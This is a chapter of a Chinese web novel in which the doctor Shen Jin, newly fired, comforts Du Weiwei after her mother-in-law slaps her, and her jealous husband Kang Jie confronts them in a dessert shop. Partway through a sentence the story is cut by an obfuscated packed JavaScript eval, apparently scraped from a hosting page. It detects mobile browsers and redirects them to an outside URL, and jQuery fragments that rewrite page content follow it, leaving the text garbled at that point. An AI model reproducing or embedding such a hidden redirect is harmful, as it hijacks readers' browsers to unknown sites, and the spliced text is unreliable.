念有鱼 作品

26.女配觉醒(26)

沈晋失业了,他第一个就想到了靳红月。


靳伯父是个重情重义的人,靳伯父对他的好,沈晋全都看在眼里,也很感激靳伯父。


可惜,靳伯父这样好的人,却有个靳红月那样恶毒的女儿。


沈晋不止一次为靳父有靳红月这样的女儿扼惋惜。


在对待靳父和靳红月上,沈晋是将他们完全分开的。他感激靳父的恩情,也切切实实的厌恶着靳红月。


毕竟,一个会针对微微那样善良女孩儿的人,能是什么好人?


又是那么的巧合,昨天靳红月才羞辱伤害了微微,今天沈晋都还没有来得及找靳红月那恶毒女人算账,她竟然直接把他开除了?


沈晋气笑了,他年轻,又有能力,多少医院和私人势力对他抛橄榄枝。要不是顾念靳伯父的恩情,难道她靳红月以为,他稀罕留在靳氏的医院里?


沈晋被气得不轻,立刻就想要告知靳父,他的女儿有多过分。


结果,他拨打靳父的电话,对面却始终提示忙音。


此刻的沈晋还没有往,靳父是特地拉黑了他,以防止他今天打扰自己兴致的方向想。


对沈晋这个故友的儿子,靳父自认自己付出不少,不论是物质条件,还是精神层面,他都不曾亏待过沈晋。


可是沈晋对他的女儿做了什么?


他的月月那么乖巧懂事的孩子,却特地打电话来和他直言自己委屈。


沈晋如果真的尊重他这个伯父,又怎么会这样对待他唯一的宝贝女儿?


靳父也生气了,别人家的孩子,到底不是亲生的,即便养了那么多年……


呵呵,还好他家闺女不是个能忍受委屈的性子。


……


厕所风波还没停歇,沈晋被靳氏医院开除的消息又上了热搜。


院长倒是确实给了沈晋体面,没有大肆宣扬沈晋被开除的事,只委婉的说沈晋另谋高就去了。


可不知道沈晋之前是不是得罪了谁,不知道哪个缺德的把他被医院辞退的事爆了出去。


这一下,才刚压下的厕所风波热度,又跟着医院辞退的事一起爆了。


被医院辞退这事,在沈晋看来是奇耻大辱,这大大影响了他的心情,也让他烦躁的没了去处理网上舆论的心情。


偏偏,杜微微那边,因为网上的舆论,也在康家闹了起来。


杜微微给沈晋打了求助电话。


她被人欺负、被人造谣,她是受害者,回了家却还要被丈夫和公婆质问,本就看她不顺眼的婆婆更是对她口出恶言。


杜微微委屈极了,可现在的她怎么也联系不上哥哥,她还能依靠谁?


脸上被康母打的巴掌印还在火辣辣的疼,杜微微在想念不知身在何处的杜晏城时,想起了沈晋。


沈晋对她的心思,杜微微一直都知道。


但是杜微微的心里只有杜晏城,她和沈晋可以是朋友、是兄妹,却绝对不会成为恋人,她这辈子都不会背叛哥哥,绝对!


可她现在实在太需要安慰了,她觉得自己心里的委屈,已经无法依靠自己调节消化,所以她联系上了沈晋。


杜微微一句:


“沈晋哥,你可以陪陪我吗?”


沈晋就没心思再去关注什么被辞退,和网络上的舆论了。


他们约在一家甜品店见面,端上来的精致甜点吃进嘴里,却感觉都带着丝丝的苦味。


杜微微皱眉,推开了才尝了一口的小蛋糕。


沈晋问:“怎么了?不喜欢吗?那再换一个?”


杜微微摇头,眼中又泛起了莹莹水光:“不用了,我……我只是没什么胃口。”一个不经意地垂眸侧脸,脸颊上还没消下去的巴掌印就那样映入了沈晋眼中。


沈晋大惊,拍桌而起,“是谁打的?”


杜微微像是后知后觉,自己脸上的巴掌印被沈晋看到了,惊慌又无措,赶紧用手捂住脸颊露出窘迫之色,“没……没谁……是……呜呜……是我自己不小心磕到了……”


这话沈晋肯定不信,尽管杜微微没有说,可沈晋却也已经猜到了可能是谁。


杜微微嫁进康家,她的婆婆却一直都对她意见很大,这是外界也都知道的事。而昨天那事在网上闹得沸沸扬扬,康母不可能不知道。


康家再不行,对待儿媳妇的事情上,也多半会让作为婆婆的康母出面,几乎不用怎么纠结,沈晋就猜测是康母下的手。


沈晋心疼坏了,微微昨天才经历了那样的事,康家人不说安慰微微、替微微出头,怎么还能这样打她?


沈晋弯身前倾,想要伸手去触摸杜微微脸上那个触目惊心的掌印,“很疼吗?”


杜微微微微偏过头去,避开了沈晋想要触碰的手,紧抿着唇,微蹙着的眉头,让眼中的泪水没有落下。


杜微微什么话都没说,倔强而坚韧,如风雪之中迎风向上的白花。


她总是这样,不论遇到了什么事,都总想自己扛着,却傻傻的不知道可以依靠一下他吗……


沈晋眼中闪过一瞬的黯然,很快被他收好。


本伸出去想触摸杜微微脸颊的手,顿了下,转了个方向,落在了杜微微的头顶,轻柔地揉了一下:“傻丫头,你都叫我一声‘哥’了,受了委屈要懂得和我说啊,我沈晋的妹妹可不不会轻易让别人欺负。”


杜微微感动地抬眸看他,笑着,眼角却滑落晶莹,如刀刺入沈晋的心脏,让他疼痛,恨不得是自己替代她承受了这一切。


沈晋自嘲一笑,收回手准备坐下。


怎料,会出现个意料之外的人。


康介追着杜微微出来,之前跟丢了人,他着急的到处找,好不容易找到了杜微微的身影。


可他看到了什么?


他看到杜微微和别的男人举止亲密,凑得极近,几乎就快要亲上去了!


康介气死了,还在门口就大声呵斥起来:“你们在干什么!?”


把沈晋和杜微微都吓了一大跳。


几乎是下意识地,杜微微就把凑近她的沈晋向后一推,脸上是难掩的惊慌之色。


沈晋猝不及防,被这一推,没有站稳,直接摔做在了椅子上。


他们齐齐扭头往声音来源方向看去,就见到了怒气冲冲的康介,朝他们走进来。


沈晋和杜微微都不会想到,康介在外面看到他们时,因为角度缘故,还以为沈晋刚才是想亲杜微微,而距离远,康介看到的杜微微反应则像是在欲拒还迎。


康介气炸了,杜微微明明是他老婆,却一直都不肯让他


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416184|167124||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


碰。


合着在外面,倒是让别人男人随意碰她,那杜微微把他这丈夫又放在了哪里?


康介一路进来,只走直线,挡路的桌椅都被他粗暴踢开,动静不小,一下就吸引了店内大部分人的目光朝他看来。


两男一女,不得了,有瓜!


康介气红了脸,也不给杜微微解释的机会,过来直接就一把抓住了杜微微的手,强硬将杜微微从座椅上拉起。


“康、康介?”


杜微微不想就这样被拉走,挣扎了一下,试图扯回自己的手。


康介怒目瞪她,低喝:“你不想跟我走?就为了这个奸夫?你还记得谁才是你老公吗!?”康介指着沈晋的鼻子就骂。


杜微微又要落泪了,“康介你……你弄疼我了……”这傻狗哪来的这么大力气,她感觉自己手腕都要断了。


沈晋在刚才的短暂懵逼后,也回过神来了,心中还窃喜了一下。


杜微微的老公骂他是‘奸夫’,四舍五入,他和杜微微也是有了不可告人的秘密……


沈晋腾地站起,一把抓住康介抓着杜微微手腕的手,手劲不断加重,眯眼警告:“你放开她!”


康介用另一只手用力挥去,试图挥开沈晋的手,“她是我老婆,关你什么事?”


这戴眼镜的小白脸,手劲还挺大,康介发现自己竟然没能挥开沈晋的手。


淦,这勾x的小白脸竟然还在用力,他的手要断了!


康介咬牙忍痛,没敢吭声,不然就得低这小白脸一筹了。


康介松开了抓住杜微微的手,这次再去拍沈晋的手,沈晋总算松开了康介。康介咬牙深吸了口气,来掩饰自己自己想叫疼的欲一一望,却还是把杜微微往自己身后推去,自己与沈晋正面对峙。


眼见康介松开了杜微微的手,沈晋松了口气,又心疼杜微微握着自己手腕那垂泪的可怜样。


沈晋气愤质问康介:“你如果真的在意她,你怎么会舍得对她下这么重的手,你难道没看到她刚才被你抓的手疼得都掉泪了吗?就你这样,你还敢说什么‘她是你老婆’之类的话?哪个有担当的男人会像你这样对待自己妻子?”


吃瓜群众里某些人:“……”谢谢,有被骂到。


“你!”


康介气红了眼,扭头看了眼身后的杜微微,发现她真的在捂着手腕落泪,心里又了几分心虚。


他刚才实在是太生气了,才会没有控制好分寸。


可杜微微难道就没有错吗?


明明是她先和这个奸夫举止亲密,不把他这个丈夫放在眼里的!


他没错,就是杜微微有错在先。


康介对着沈晋冷哼:“我和她之间,不管发生什么,那也是我们俩夫妻间的事,要你管?也只有像你这样没本事娶老婆的小白脸,才会出来偷别人的老婆当奸夫。我呸!也不撒泡尿照照自己,你算个什么东西!”


上下打量了一番沈晋,康介总算想起来,刚才看到沈晋时的熟悉感是怎么回事。


这次他嘲讽的更用力了,恨不起只用鼻孔看沈晋,还故意提高了声音道:“可惜了,别的奸夫再怎么着,也得有钱有权,我记得……你现在连工作都没有吧?你个无业游民也出来学人当奸夫,就你这样,你还是个男人?”